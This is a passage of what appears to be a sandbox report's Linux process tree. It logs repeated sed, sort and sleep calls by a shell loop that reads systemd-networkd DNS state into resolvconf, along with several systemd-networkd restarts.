
sort (PID: 8027, Parent: 8025, MD5: fb4c334af5810c835b37ec2ec14a35bd) Arguments: sort -u

sh New Fork (PID: 8041, Parent: 7769)

sleep (PID: 8041, Parent: 7769, MD5: e9887f1d8cae3dc50b4cbac09435a162) Arguments: sleep 1

sh New Fork (PID: 8055, Parent: 7769)

sh New Fork (PID: 8056, Parent: 8055)

sed (PID: 8056, Parent: 8055, MD5: c1a00c583ba08e728b10f3f46f5776d6) Arguments: sed -n "/^DNS=/ { s/^DNS=/nameserver /; p}" /run/systemd/netif/state /run/systemd/netif/leases/*

sh New Fork (PID: 8057, Parent: 8055)

sort (PID: 8057, Parent: 8055, MD5: fb4c334af5810c835b37ec2ec14a35bd) Arguments: sort -u

sh New Fork (PID: 8071, Parent: 7769)

sleep (PID: 8071, Parent: 7769, MD5: e9887f1d8cae3dc50b4cbac09435a162) Arguments: sleep 1

sh New Fork (PID: 8083, Parent: 7769)

sh New Fork (PID: 8084, Parent: 8083)

sed (PID: 8084, Parent: 8083, MD5: c1a00c583ba08e728b10f3f46f5776d6) Arguments: sed -n "/^DNS=/ { s/^DNS=/nameserver /; p}" /run/systemd/netif/state /run/systemd/netif/leases/*

sh New Fork (PID: 8085, Parent: 8083)

sort (PID: 8085, Parent: 8083, MD5: fb4c334af5810c835b37ec2ec14a35bd) Arguments: sort -u

sh New Fork (PID: 8099, Parent: 7769)

sleep (PID: 8099, Parent: 7769, MD5: e9887f1d8cae3dc50b4cbac09435a162) Arguments: sleep 1

sh New Fork (PID: 8111, Parent: 7769)

sh New Fork (PID: 8112, Parent: 8111)

sed (PID: 8112, Parent: 8111, MD5: c1a00c583ba08e728b10f3f46f5776d6) Arguments: sed -n "/^DNS=/ { s/^DNS=/nameserver /; p}" /run/systemd/netif/state /run/systemd/netif/leases/*

sh New Fork (PID: 8113, Parent: 8111)

sort (PID: 8113, Parent: 8111, MD5: fb4c334af5810c835b37ec2ec14a35bd) Arguments: sort -u

sh New Fork (PID: 8114, Parent: 7769)

sleep (PID: 8114, Parent: 7769, MD5: e9887f1d8cae3dc50b4cbac09435a162) Arguments: sleep 1

sh New Fork (PID: 8151, Parent: 7769)

sh New Fork (PID: 8152, Parent: 8151)

sed (PID: 8152, Parent: 8151, MD5: c1a00c583ba08e728b10f3f46f5776d6) Arguments: sed -n "/^DNS=/ { s/^DNS=/nameserver /; p}" /run/systemd/netif/state /run/systemd/netif/leases/*

sh New Fork (PID: 8153, Parent: 8151)

sort (PID: 8153, Parent: 8151, MD5: fb4c334af5810c835b37ec2ec14a35bd) Arguments: sort -u

sh New Fork (PID: 8154, Parent: 7769)

sleep (PID: 8154, Parent: 7769, MD5: e9887f1d8cae3dc50b4cbac09435a162) Arguments: sleep 1

sh New Fork (PID: 8191, Parent: 7769)

sh New Fork (PID: 8192, Parent: 8191)

sed (PID: 8192, Parent: 8191, MD5: c1a00c583ba08e728b10f3f46f5776d6) Arguments: sed -n "/^DNS=/ { s/^DNS=/nameserver /; p}" /run/systemd/netif/state /run/systemd/netif/leases/*

sh New Fork (PID: 8193, Parent: 8191)

sort (PID: 8193, Parent: 8191, MD5: fb4c334af5810c835b37ec2ec14a35bd) Arguments: sort -u

sh New Fork (PID: 8194, Parent: 7769)

sleep (PID: 8194, Parent: 7769, MD5: e9887f1d8cae3dc50b4cbac09435a162) Arguments: sleep 1

sh New Fork (PID: 8219, Parent: 7769)

sh New Fork (PID: 8220, Parent: 8219)

sed (PID: 8220, Parent: 8219, MD5: c1a00c583ba08e728b10f3f46f5776d6) Arguments: sed -n "/^DNS=/ { s/^DNS=/nameserver /; p}" /run/systemd/netif/state /run/systemd/netif/leases/*

sh New Fork (PID: 8221, Parent: 8219)

sort (PID: 8221, Parent: 8219, MD5: fb4c334af5810c835b37ec2ec14a35bd) Arguments: sort -u

sh New Fork (PID: 8235, Parent: 7769)

sleep (PID: 8235, Parent: 7769, MD5: e9887f1d8cae3dc50b4cbac09435a162) Arguments: sleep 1

sh New Fork (PID: 8247, Parent: 7769)

sh New Fork (PID: 8248, Parent: 8247)

sed (PID: 8248, Parent: 8247, MD5: c1a00c583ba08e728b10f3f46f5776d6) Arguments: sed -n "/^DNS=/ { s/^DNS=/nameserver /; p}" /run/systemd/netif/state /run/systemd/netif/leases/*

sh New Fork (PID: 8249, Parent: 8247)

sort (PID: 8249, Parent: 8247, MD5: fb4c334af5810c835b37ec2ec14a35bd) Arguments: sort -u

sh New Fork (PID: 8262, Parent: 7769)

sleep (PID: 8262, Parent: 7769, MD5: e9887f1d8cae3dc50b4cbac09435a162) Arguments: sleep 1

sh New Fork (PID: 8275, Parent: 7769)

sh New Fork (PID: 8276, Parent: 8275)

sed (PID: 8276, Parent: 8275, MD5: c1a00c583ba08e728b10f3f46f5776d6) Arguments: sed -n "/^DNS=/ { s/^DNS=/nameserver /; p}" /run/systemd/netif/state /run/systemd/netif/leases/*

sh New Fork (PID: 8277, Parent: 8275)

sort (PID: 8277, Parent: 8275, MD5: fb4c334af5810c835b37ec2ec14a35bd) Arguments: sort -u

sh New Fork (PID: 8290, Parent: 7769)

sleep (PID: 8290, Parent: 7769, MD5: e9887f1d8cae3dc50b4cbac09435a162) Arguments: sleep 1

sh New Fork (PID: 8303, Parent: 7769)

sh New Fork (PID: 8304, Parent: 8303)

sed (PID: 8304, Parent: 8303, MD5: c1a00c583ba08e728b10f3f46f5776d6) Arguments: sed -n "/^DNS=/ { s/^DNS=/nameserver /; p}" /run/systemd/netif/state /run/systemd/netif/leases/*

sh New Fork (PID: 8305, Parent: 8303)

sort (PID: 8305, Parent: 8303, MD5: fb4c334af5810c835b37ec2ec14a35bd) Arguments: sort -u

sh New Fork (PID: 8318, Parent: 7769)

sleep (PID: 8318, Parent: 7769, MD5: e9887f1d8cae3dc50b4cbac09435a162) Arguments: sleep 1

sh New Fork (PID: 8331, Parent: 7769)

sh New Fork (PID: 8332, Parent: 8331)

sed (PID: 8332, Parent: 8331, MD5: c1a00c583ba08e728b10f3f46f5776d6) Arguments: sed -n "/^DNS=/ { s/^DNS=/nameserver /; p}" /run/systemd/netif/state /run/systemd/netif/leases/*

sh New Fork (PID: 8333, Parent: 8331)

sort (PID: 8333, Parent: 8331, MD5: fb4c334af5810c835b37ec2ec14a35bd) Arguments: sort -u

sh New Fork (PID: 8337, Parent: 7769)

sleep (PID: 8337, Parent: 7769, MD5: e9887f1d8cae3dc50b4cbac09435a162) Arguments: sleep 1

sh New Fork (PID: 8359, Parent: 7769)

sh New Fork (PID: 8360, Parent: 8359)

sed (PID: 8360, Parent: 8359, MD5: c1a00c583ba08e728b10f3f46f5776d6) Arguments: sed -n "/^DNS=/ { s/^DNS=/nameserver /; p}" /run/systemd/netif/state /run/systemd/netif/leases/*

sh New Fork (PID: 8361, Parent: 8359)

sort (PID: 8361, Parent: 8359, MD5: fb4c334af5810c835b37ec2ec14a35bd) Arguments: sort -u

sh New Fork (PID: 8375, Parent: 7769)

sleep (PID: 8375, Parent: 7769, MD5: e9887f1d8cae3dc50b4cbac09435a162) Arguments: sleep 1

sh New Fork (PID: 8387, Parent: 7769)

sh New Fork (PID: 8388, Parent: 8387)

sed (PID: 8388, Parent: 8387, MD5: c1a00c583ba08e728b10f3f46f5776d6) Arguments: sed -n "/^DNS=/ { s/^DNS=/nameserver /; p}" /run/systemd/netif/state /run/systemd/netif/leases/*

sh New Fork (PID: 8389, Parent: 8387)

sort (PID: 8389, Parent: 8387, MD5: fb4c334af5810c835b37ec2ec14a35bd) Arguments: sort -u

sh New Fork (PID: 8402, Parent: 7769)

sleep (PID: 8402, Parent: 7769, MD5: e9887f1d8cae3dc50b4cbac09435a162) Arguments: sleep 1

sh New Fork (PID: 8415, Parent: 7769)

sh New Fork (PID: 8416, Parent: 8415)

sed (PID: 8416, Parent: 8415, MD5: c1a00c583ba08e728b10f3f46f5776d6) Arguments: sed -n "/^DNS=/ { s/^DNS=/nameserver /; p}" /run/systemd/netif/state /run/systemd/netif/leases/*

sh New Fork (PID: 8417, Parent: 8415)

sort (PID: 8417, Parent: 8415, MD5: fb4c334af5810c835b37ec2ec14a35bd) Arguments: sort -u

sh New Fork (PID: 8418, Parent: 7769)

sleep (PID: 8418, Parent: 7769, MD5: e9887f1d8cae3dc50b4cbac09435a162) Arguments: sleep 1

sh New Fork (PID: 8443, Parent: 7769)

sh New Fork (PID: 8444, Parent: 8443)

sed (PID: 8444, Parent: 8443, MD5: c1a00c583ba08e728b10f3f46f5776d6) Arguments: sed -n "/^DNS=/ { s/^DNS=/nameserver /; p}" /run/systemd/netif/state /run/systemd/netif/leases/*

sh New Fork (PID: 8445, Parent: 8443)

sort (PID: 8445, Parent: 8443, MD5: fb4c334af5810c835b37ec2ec14a35bd) Arguments: sort -u

sh New Fork (PID: 8446, Parent: 7769)

sleep (PID: 8446, Parent: 7769, MD5: e9887f1d8cae3dc50b4cbac09435a162) Arguments: sleep 1

sh New Fork (PID: 8471, Parent: 7769)

sh New Fork (PID: 8472, Parent: 8471)

sed (PID: 8472, Parent: 8471, MD5: c1a00c583ba08e728b10f3f46f5776d6) Arguments: sed -n "/^DNS=/ { s/^DNS=/nameserver /; p}" /run/systemd/netif/state /run/systemd/netif/leases/*

sh New Fork (PID: 8473, Parent: 8471)

sort (PID: 8473, Parent: 8471, MD5: fb4c334af5810c835b37ec2ec14a35bd) Arguments: sort -u

sh New Fork (PID: 8486, Parent: 7769)

sleep (PID: 8486, Parent: 7769, MD5: e9887f1d8cae3dc50b4cbac09435a162) Arguments: sleep 1

sh New Fork (PID: 8511, Parent: 7769)

sh New Fork (PID: 8512, Parent: 8511)

sed (PID: 8512, Parent: 8511, MD5: c1a00c583ba08e728b10f3f46f5776d6) Arguments: sed -n "/^DNS=/ { s/^DNS=/nameserver /; p}" /run/systemd/netif/state /run/systemd/netif/leases/*

sh New Fork (PID: 8513, Parent: 8511)

sort (PID: 8513, Parent: 8511, MD5: fb4c334af5810c835b37ec2ec14a35bd) Arguments: sort -u

sh New Fork (PID: 8527, Parent: 7769)

sleep (PID: 8527, Parent: 7769, MD5: e9887f1d8cae3dc50b4cbac09435a162) Arguments: sleep 1

sh New Fork (PID: 8551, Parent: 7769)

sh New Fork (PID: 8552, Parent: 8551)

sed (PID: 8552, Parent: 8551, MD5: c1a00c583ba08e728b10f3f46f5776d6) Arguments: sed -n "/^DNS=/ { s/^DNS=/nameserver /; p}" /run/systemd/netif/state /run/systemd/netif/leases/*

sh New Fork (PID: 8553, Parent: 8551)

sort (PID: 8553, Parent: 8551, MD5: fb4c334af5810c835b37ec2ec14a35bd) Arguments: sort -u

sh New Fork (PID: 8555, Parent: 7769)

sleep (PID: 8555, Parent: 7769, MD5: e9887f1d8cae3dc50b4cbac09435a162) Arguments: sleep 1

sh New Fork (PID: 8579, Parent: 7769)

sh New Fork (PID: 8580, Parent: 8579)

sed (PID: 8580, Parent: 8579, MD5: c1a00c583ba08e728b10f3f46f5776d6) Arguments: sed -n "/^DNS=/ { s/^DNS=/nameserver /; p}" /run/systemd/netif/state /run/systemd/netif/leases/*

sh New Fork (PID: 8581, Parent: 8579)

sort (PID: 8581, Parent: 8579, MD5: fb4c334af5810c835b37ec2ec14a35bd) Arguments: sort -u

sh New Fork (PID: 8592, Parent: 7769)

sleep (PID: 8592, Parent: 7769, MD5: e9887f1d8cae3dc50b4cbac09435a162) Arguments: sleep 1

sh New Fork (PID: 8607, Parent: 7769)

sh New Fork (PID: 8608, Parent: 8607)

sed (PID: 8608, Parent: 8607, MD5: c1a00c583ba08e728b10f3f46f5776d6) Arguments: sed -n "/^DNS=/ { s/^DNS=/nameserver /; p}" /run/systemd/netif/state /run/systemd/netif/leases/*

sh New Fork (PID: 8609, Parent: 8607)

sort (PID: 8609, Parent: 8607, MD5: fb4c334af5810c835b37ec2ec14a35bd) Arguments: sort -u

sh New Fork (PID: 8622, Parent: 7769)

sleep (PID: 8622, Parent: 7769, MD5: e9887f1d8cae3dc50b4cbac09435a162) Arguments: sleep 1

sh New Fork (PID: 8635, Parent: 7769)

sh New Fork (PID: 8636, Parent: 8635)

sed (PID: 8636, Parent: 8635, MD5: c1a00c583ba08e728b10f3f46f5776d6) Arguments: sed -n "/^DNS=/ { s/^DNS=/nameserver /; p}" /run/systemd/netif/state /run/systemd/netif/leases/*

sh New Fork (PID: 8637, Parent: 8635)

sort (PID: 8637, Parent: 8635, MD5: fb4c334af5810c835b37ec2ec14a35bd) Arguments: sort -u

sh New Fork (PID: 8647, Parent: 7769)

sleep (PID: 8647, Parent: 7769, MD5: e9887f1d8cae3dc50b4cbac09435a162) Arguments: sleep 1

sh New Fork (PID: 8663, Parent: 7769)

sh New Fork (PID: 8664, Parent: 8663)

sed (PID: 8664, Parent: 8663, MD5: c1a00c583ba08e728b10f3f46f5776d6) Arguments: sed -n "/^DNS=/ { s/^DNS=/nameserver /; p}" /run/systemd/netif/state /run/systemd/netif/leases/*

sh New Fork (PID: 8665, Parent: 8663)

sort (PID: 8665, Parent: 8663, MD5: fb4c334af5810c835b37ec2ec14a35bd) Arguments: sort -u

sh New Fork (PID: 8679, Parent: 7769)

sleep (PID: 8679, Parent: 7769, MD5: e9887f1d8cae3dc50b4cbac09435a162) Arguments: sleep 1

sh New Fork (PID: 8691, Parent: 7769)

sed (PID: 8691, Parent: 7769, MD5: c1a00c583ba08e728b10f3f46f5776d6) Arguments: sed -n "/^DOMAINS=/ { s/^.*=/search /; p}" /run/systemd/netif/state

sh New Fork (PID: 8692, Parent: 7769)

resolvconf (PID: 8692, Parent: 7769, MD5: 4e4ff2bfda7a6d18405a462937b63a2e) Arguments: /bin/sh /sbin/resolvconf -a networkd

resolvconf New Fork (PID: 8695, Parent: 8692)

mkdir (PID: 8695, Parent: 8692, MD5: a97f666f21c85ec62ea47d022263ef41) Arguments: mkdir -p /run/resolvconf/interface

resolvconf New Fork (PID: 8700, Parent: 8692)

resolvconf New Fork (PID: 8701, Parent: 8700)

sed (PID: 8701, Parent: 8700, MD5: c1a00c583ba08e728b10f3f46f5776d6) Arguments: sed -e s/#.*$// -e s/[[:blank:]]\\+$// -e s/^[[:blank:]]\\+// -e "s/[[:blank:]]\\+/ /g" -e "/^nameserver/!b ENDOFCYCLE" -e "s/$/ /" -e "s/\$[:. ]\$0\\+/\\10/g" -e "s/\$[:. ]\$0\$[123456789abcdefABCDEF][[:xdigit:]]*\$/\\1\\2/g" -e "/::/b ENDOFCYCLE; s/ \$0[: ]\$\\+/ ::/" -e "/::/b ENDOFCYCLE; s/:\$0[: ]\$\\+/::/" -e ": ENDOFCYCLE" -

resolvconf New Fork (PID: 8702, Parent: 8700)

sed (PID: 8702, Parent: 8700, MD5: c1a00c583ba08e728b10f3f46f5776d6) Arguments: sed -e s/[[:blank:]]\\+$// -e /^$/d

systemd New Fork (PID: 7818, Parent: 1)

systemd-networkd (PID: 7818, Parent: 1, MD5: 505a8fbe465d6613857dca4604cd7e49) Arguments: /lib/systemd/systemd-networkd

systemd New Fork (PID: 8140, Parent: 1)

systemd-networkd (PID: 8140, Parent: 1, MD5: 505a8fbe465d6613857dca4604cd7e49) Arguments: /lib/systemd/systemd-networkd

systemd New Fork (PID: 8180, Parent: 1)

systemd-networkd (PID: 8180, Parent: 1, MD5: 505a8fbe465d6613857dca4604cd7e49) Arguments: /lib/systemd/systemd-networkd

systemd New Fork (PID: 8500, Parent: 1)

systemd-networkd (PID: 8500, Parent: 1, MD5: 505a8fbe465d6613857dca4604cd7e49) Arguments: /lib/systemd/systemd-networkd

systemd New Fork (PID: 8540, Parent: 1)

systemd-networkd (PID: 8540, Parent: 1, MD5: 505a8fbe465d6613857dca4604cd7e49) Arguments: /lib/systemd/systemd-networkd

systemd New Fork (PID: 8740, Parent: 1)

systemd-networkd (PID: 8740, Parent: 1, MD5: 505a8fbe465d6613857dca4604cd7e49) Arguments: /lib/systemd/systemd-networkd

systemd New Fork (PID: 8751, Parent: 1)

sh (PID: 8751, Parent: 1, MD5: e02ea3c3450d44126c46d658fa9e654c) Arguments: /bin/sh -c "for timeout in `seq 30`; do out=$(sed -n \"/^DNS=/ { s/^DNS=/nameserver /; p}\" /run/systemd/netif/state /run/systemd/netif/leases/* | sort -u); [ -z \"$out\" ] || break; sleep 1; done; { echo \"$out\"; sed -n \"/^DOMAINS=/ { s/^.*=/search /; p}\" /run/systemd/netif/state; } | /sbin/resolvconf -a networkd"

sh New Fork (PID: 8754, Parent: 8751)

seq (PID: 8754, Parent: 8751, MD5: 329d74c7eda0c291d51557f6a23138da) Arguments: seq 30

sh New Fork (PID: 8755, Parent: 8751)

sh New Fork (PID: 8756, Parent: 8755)

sed (PID: 8756, Parent: 8755, MD5: c1a00c583ba08e728b10f3f46f5776d6) Arguments: sed -n "/^DNS=/ { s/^DNS=/nameserver /; p}" /run/systemd/netif/state /run/systemd/netif/leases/*

sh New Fork (PID: 8757, Parent: 8755)

sort (PID: 8757, Parent: 8755, MD5: fb4c334af5810c835b37ec2ec14a35bd) Arguments: sort -u

sh New Fork (PID: 8780, Parent: 8751)

sleep (PID: 8780, Parent: 8751, MD5: e9887f1d8cae3dc50b4cbac09435a162) Arguments: sleep 1

sh New Fork (PID: 8799, Parent: 8751)

sh New Fork (PID: 8800, Parent: 8799)

sed (PID: 8800, Parent: 8799, MD5: c1a00c583ba08e728b10f3f46f5776d6) Arguments: sed -n "/^DNS=/ { s/^DNS=/nameserver /; p}" /run/systemd/netif/state /run/systemd/netif/leases/*

sh New Fork (PID: 8801, Parent: 8799)

sort (PID: 8801, Parent: 8799, MD5: fb4c334af5810c835b37ec2ec14a35bd) Arguments: sort -u

sh New Fork (PID: 8810, Parent: 8751)

sleep (PID: 8810, Parent: 8751, MD5: e9887f1d8cae3dc50b4cbac09435a162) Arguments: sleep 1

sh New Fork (PID: 8827, Parent: 8751)

sh New Fork (PID: 8828, Parent: 8827)

sed (PID: 8828, Parent: 8827, MD5: c1a00c583ba08e728b10f3f46f5776d6) Arguments: sed -n "/^DNS=/ { s/^DNS=/nameserver /; p}" /run/systemd/netif/state /run/systemd/netif/leases/*

sh New Fork (PID: 8829, Parent: 8827)

sort (PID: 8829, Parent: 8827, MD5: fb4c334af5810c835b37ec2ec14a35bd) Arguments: sort -u

sh New Fork (PID: 8844, Parent: 8751)

sleep (PID: 8844, Parent: 8751, MD5: e9887f1d8cae3dc50b4cbac09435a162) Arguments: sleep 1

sh New Fork (PID: 8855, Parent: 8751)

sh New Fork (PID: 8856, Parent: 8855)

sed (PID: 8856, Parent: 8855, MD5: c1a00c583ba08e728b10f3f46f5776d6) Arguments: sed -n "/^DNS=/ { s/^DNS=/nameserver /; p}" /run/systemd/netif/state /run/systemd/netif/leases/*

sh New Fork (PID: 8857, Parent: 8855)

sort (PID: 8857, Parent: 8855, MD5: fb4c334af5810c835b37ec2ec14a35bd) Arguments: sort -u

sh New Fork (PID: 8867, Parent: 8751)

sleep (PID: 8867, Parent: 8751, MD5: e9887f1d8cae3dc50b4cbac09435a162) Arguments: sleep 1

sh New Fork (PID: 8883, Parent: 8751)

sh New Fork (PID: 8884, Parent: 8883)

sed (PID: 8884, Parent: 8883, MD5: c1a00c583ba08e728b10f3f46f5776d6) Arguments: sed -n "/^DNS=/ { s/^DNS=/nameserver /; p}" /run/systemd/netif/state /run/systemd/netif/leases/*

sh New Fork (PID: 8885, Parent: 8883)

sort (PID: 8885, Parent: 8883, MD5: fb4c334af5810c835b37ec2ec14a35bd) Arguments: sort -u

sh New Fork (PID: 8896, Parent: 8751)

sleep (PID: 8896, Parent: 8751, MD5: e9887f1d8cae3dc50b4cbac09435a162) Arguments: sleep 1

sh New Fork (PID: 8911, Parent: 8751)

sh New Fork (PID: 8912, Parent: 8911)

sed (PID: 8912, Parent: 8911, MD5: c1a00c583ba08e728b10f3f46f5776d6) Arguments: sed -n "/^DNS=/ { s/^DNS=/nameserver /; p}" /run/systemd/netif/state /run/systemd/netif/leases/*

sh New Fork (PID: 8913, Parent: 8911)

sort (PID: 8913, Parent: 8911, MD5: fb4c334af5810c835b37ec2ec14a35bd) Arguments: sort -u

sh New Fork (PID: 8927, Parent: 8751)

sleep (PID: 8927, Parent: 8751, MD5: e9887f1d8cae3dc50b4cbac09435a162) Arguments: sleep 1

sh New Fork (PID: 8939, Parent: 8751)

sh New Fork (PID: 8940, Parent: 8939)

sed (PID: 8940, Parent: 8939, MD5: c1a00c583ba08e728b10f3f46f5776d6) Arguments: sed -n "/^DNS=/ { s/^DNS=/nameserver /; p}" /run/systemd/netif/state /run/systemd/netif/leases/*

sh New Fork (PID: 8941, Parent: 8939)

sort (PID: 8941, Parent: 8939, MD5: fb4c334af5810c835b37ec2ec14a35bd) Arguments: sort -u

sh New Fork (PID: 8955, Parent: 8751)

sleep (PID: 8955, Parent: 8751, MD5: e9887f1d8cae3dc50b4cbac09435a162) Arguments: sleep 1

sh New Fork (PID: 8967, Parent: 8751)

sh New Fork (PID: 8968, Parent: 8967)

sed (PID: 8968, Parent: 8967, MD5: c1a00c583ba08e728b10f3f46f5776d6) Arguments: sed -n "/^DNS=/ { s/^DNS=/nameserver /; p}" /run/systemd/netif/state /run/systemd/netif/leases/*

sh New Fork (PID: 8969, Parent: 8967)

sort (PID: 8969, Parent: 8967, MD5: fb4c334af5810c835b37ec2ec14a35bd) Arguments: sort -u

sh New Fork (PID: 8970, Parent: 8751)

sleep (PID: 8970, Parent: 8751, MD5: e9887f1d8cae3dc50b4cbac09435a162) Arguments: sleep 1

sh New Fork (PID: 8995, Parent: 8751)

sh New Fork (PID: 8996, Parent: 8995)

sed (PID: 8996, Parent: 8995, MD5: c1a00c583ba08e728b10f3f46f5776d6) Arguments: sed -n "/^DNS=/ { s/^DNS=/nameserver /; p}" /run/systemd/netif/state /run/systemd/netif/leases/*

sh New Fork (PID: 8997, Parent: 8995)

sort (PID: 8997, Parent: 8995, MD5: fb4c334af5810c835b37ec2ec14a35bd) Arguments: sort -u

sh New Fork (PID: 9007, Parent: 8751)

sleep (PID: 9007, Parent: 8751, MD5: e9887f1d8cae3dc50b4cbac09435a162) Arguments: sleep 1

sh New Fork (PID: 9023, Parent: 8751)

sh New Fork (PID: 9024, Parent: 9023)

sed (PID: 9024, Parent: 9023, MD5: c1a00c583ba08e728b10f3f46f5776d6) Arguments: sed -n "/^DNS=/ { s/^DNS=/nameserver /; p}" /run/systemd/netif/state /run/systemd/netif/leases/*

sh New Fork (PID: 9025, Parent: 9023)

sort (PID: 9025, Parent: 9023, MD5: fb4c334af5810c835b37ec2ec14a35bd) Arguments: sort -u

sh New Fork (PID: 9040, Parent: 8751)

sleep (PID: 9040, Parent: 8751, MD5: e9887f1d8cae3dc50b4cbac09435a162) Arguments: sleep 1

sh New Fork (PID: 9063, Parent: 8751)

sh New Fork (PID: 9064, Parent: 9063)

sed (PID: 9064, Parent: 9063, MD5: c1a00c583ba08e728b10f3f46f5776d6) Arguments: sed -n "/^DNS=/ { s/^DNS=/nameserver /; p}" /run/systemd/netif/state /run/systemd/netif/leases/*

sh New Fork (PID: 9065, Parent: 9063)

sort (PID: 9065, Parent: 9063, MD5: fb4c334af5810c835b37ec2ec14a35bd) Arguments: sort -u

sh New Fork (PID: 9076, Parent: 8751)

sleep (PID: 9076, Parent: 8751, MD5: e9887f1d8cae3dc50b4cbac09435a162) Arguments: sleep 1

sh New Fork (PID: 9091, Parent: 8751)

sh New Fork (PID: 9092, Parent: 9091)

sed (PID: 9092, Parent: 9091, MD5: c1a00c583ba08e728b10f3f46f5776d6) Arguments: sed -n "/^DNS=/ { s/^DNS=/nameserver /; p}" /run/systemd/netif/state /run/systemd/netif/leases/*

sh New Fork (PID: 9093, Parent: 9091)

sort (PID: 9093, Parent: 9091, MD5: fb4c334af5810c835b37ec2ec14a35bd) Arguments: sort -u

sh New Fork (PID: 9108, Parent: 8751)

sleep (PID: 9108, Parent: 8751, MD5: e9887f1d8cae3dc50b4cbac09435a162) Arguments: sleep 1

sh New Fork (PID: 9131, Parent: 8751)

sh New Fork (PID: 9132, Parent: 9131)

sed (PID: 9132, Parent: 9131, MD5: c1a00c583ba08e728b10f3f46f5776d6) Arguments: sed -n "/^DNS=/ { s/^DNS=/nameserver /; p}" /run/systemd/netif/state /run/systemd/netif/leases/*

sh New Fork (PID: 9133, Parent: 9131)

sort (PID: 9133, Parent: 9131, MD5: fb4c334af5810c835b37ec2ec14a35bd) Arguments: sort -u

sh New Fork (PID: 9134, Parent: 8751)

sleep (PID: 9134, Parent: 8751, MD5: e9887f1d8cae3dc50b4cbac09435a162) Arguments: sleep 1

sh New Fork (PID: 9159, Parent: 8751)

sh New Fork (PID: 9160, Parent: 9159)

sed (PID: 9160, Parent: 9159, MD5: c1a00c583ba08e728b10f3f46f5776d6) Arguments: sed -n "/^DNS=/ { s/^DNS=/nameserver /; p}" /run/systemd/netif/state /run/systemd/netif/leases/*

sh New Fork (PID: 9161, Parent: 9159)

sort (PID: 9161, Parent: 9159, MD5: fb4c334af5810c835b37ec2ec14a35bd) Arguments: sort -u

sh New Fork (PID: 9173, Parent: 8751)

sleep (PID: 9173, Parent: 8751, MD5: e9887f1d8cae3dc50b4cbac09435a162) Arguments: sleep 1

sh New Fork (PID: 9199, Parent: 8751)

sh New Fork (PID: 9200, Parent: 9199)

sed (PID: 9200, Parent: 9199, MD5: c1a00c583ba08e728b10f3f46f5776d6) Arguments: sed -n "/^DNS=/ { s/^DNS=/nameserver /; p}" /run/systemd/netif/state /run/systemd/netif/leases/*

sh New Fork (PID: 9201, Parent: 9199)

sort (PID: 9201, Parent: 9199, MD5: fb4c334af5810c835b37ec2ec14a35bd) Arguments: sort -u

sh New Fork (PID: 9216, Parent: 8751)

sleep (PID: 9216, Parent: 8751, MD5: e9887f1d8cae3dc50b4cbac09435a162) Arguments: sleep 1

sh New Fork (PID: 9227, Parent: 8751)

sh New Fork (PID: 9228, Parent: 9227)

sed (PID: 9228, Parent: 9227, MD5: c1a00c583ba08e728b10f3f46f5776d6) Arguments: sed -n "/^DNS=/ { s/^DNS=/nameserver /; p}" /run/systemd/netif/state /run/systemd/netif/leases/*

sh New Fork (PID: 9229, Parent: 9227)

sort (PID: 9229, Parent: 9227, MD5: fb4c334af5810c835b37ec2ec14a35bd) Arguments: sort -u

sh New Fork (PID: 9230, Parent: 8751)

sleep (PID: 9230, Parent: 8751, MD5: e9887f1d8cae3dc50b4cbac09435a162) Arguments: sleep 1

sh New Fork (PID: 9255, Parent: 8751)

sh New Fork (PID: 9256, Parent: 9255)

sed (PID: 9256, Parent: 9255, MD5: c1a00c583ba08e728b10f3f46f5776d6) Arguments: sed -n "/^DNS=/ { s/^DNS=/nameserver /; p}" /run/systemd/netif/state /run/systemd/netif/leases/*

sh New Fork (PID: 9257, Parent: 9255)

sort (PID: 9257, Parent: 9255, MD5: fb4c334af5810c835b37ec2ec14a35bd) Arguments: sort -u

sh New Fork (PID: 9270, Parent: 8751)

sleep (PID: 9270, Parent: 8751, MD5: e9887f1d8cae3dc50b4cbac09435a162) Arguments: sleep 1

sh New Fork (PID: 9283, Parent: 8751)

sh New Fork (PID: 9284, Parent: 9283)

sed (PID: 9284, Parent: 9283, MD5: c1a00c583ba08e728b10f3f46f5776d6) Arguments: sed -n "/^DNS=/ { s/^DNS=/nameserver /; p}" /run/systemd/netif/state /run/systemd/netif/leases/*

sh New Fork (PID: 9285, Parent: 9283)

sort (PID: 9285, Parent: 9283, MD5: fb4c334af5810c835b37ec2ec14a35bd) Arguments: sort -u

sh New Fork (PID: 9298, Parent: 8751)

sleep (PID: 9298, Parent: 8751, MD5: e9887f1d8cae3dc50b4cbac09435a162) Arguments: sleep 1

sh New Fork (PID: 9311, Parent: 8751)

sh New Fork (PID: 9312, Parent: 9311)

sed (PID: 9312, Parent: 9311, MD5: c1a00c583ba08e728b10f3f46f5776d6) Arguments: sed -n "/^DNS=/ { s/^DNS=/nameserver /; p}" /run/systemd/netif/state /run/systemd/netif/leases/*

sh New Fork (PID: 9313, Parent: 9311)

sort (PID: 9313, Parent: 9311, MD5: fb4c334af5810c835b37ec2ec14a35bd) Arguments: sort -u

sh New Fork (PID: 9319, Parent: 8751)

sleep (PID: 9319, Parent: 8751, MD5: e9887f1d8cae3dc50b4cbac09435a162) Arguments: sleep 1

sh New Fork (PID: 9339, Parent: 8751)

sh New Fork (PID: 9340, Parent: 9339)

sed (PID: 9340, Parent: 9339, MD5: c1a00c583ba08e728b10f3f46f5776d6) Arguments: sed -n "/^DNS=/ { s/^DNS=/nameserver /; p}" /run/systemd/netif/state /run/systemd/netif/leases/*

sh New Fork (PID: 9341, Parent: 9339)

sort (PID: 9341, Parent: 9339, MD5: fb4c334af5810c835b37ec2ec14a35bd) Arguments: sort -u

sh New Fork (PID: 9352, Parent: 8751)

sleep (PID: 9352, Parent: 8751, MD5: e9887f1d8cae3dc50b4cbac09435a162) Arguments: sleep 1

sh New Fork (PID: 9367, Parent: 8751)

sh New Fork (PID: 9368, Parent: 9367)

sed (PID: 9368, Parent: 9367, MD5: c1a00c583ba08e728b10f3f46f5776d6) Arguments: sed -n "/^DNS=/ { s/^DNS=/nameserver /; p}" /run/systemd/netif/state /run/systemd/netif/leases/*

sh New Fork (PID: 9369, Parent: 9367)

sort (PID: 9369, Parent: 9367, MD5: fb4c334af5810c835b37ec2ec14a35bd) Arguments: sort -u

sh New Fork (PID: 9382, Parent: 8751)

sleep (PID: 9382, Parent: 8751, MD5: e9887f1d8cae3dc50b4cbac09435a162) Arguments: sleep 1

sh New Fork (PID: 9395, Parent: 8751)

sh New Fork (PID: 9396, Parent: 9395)

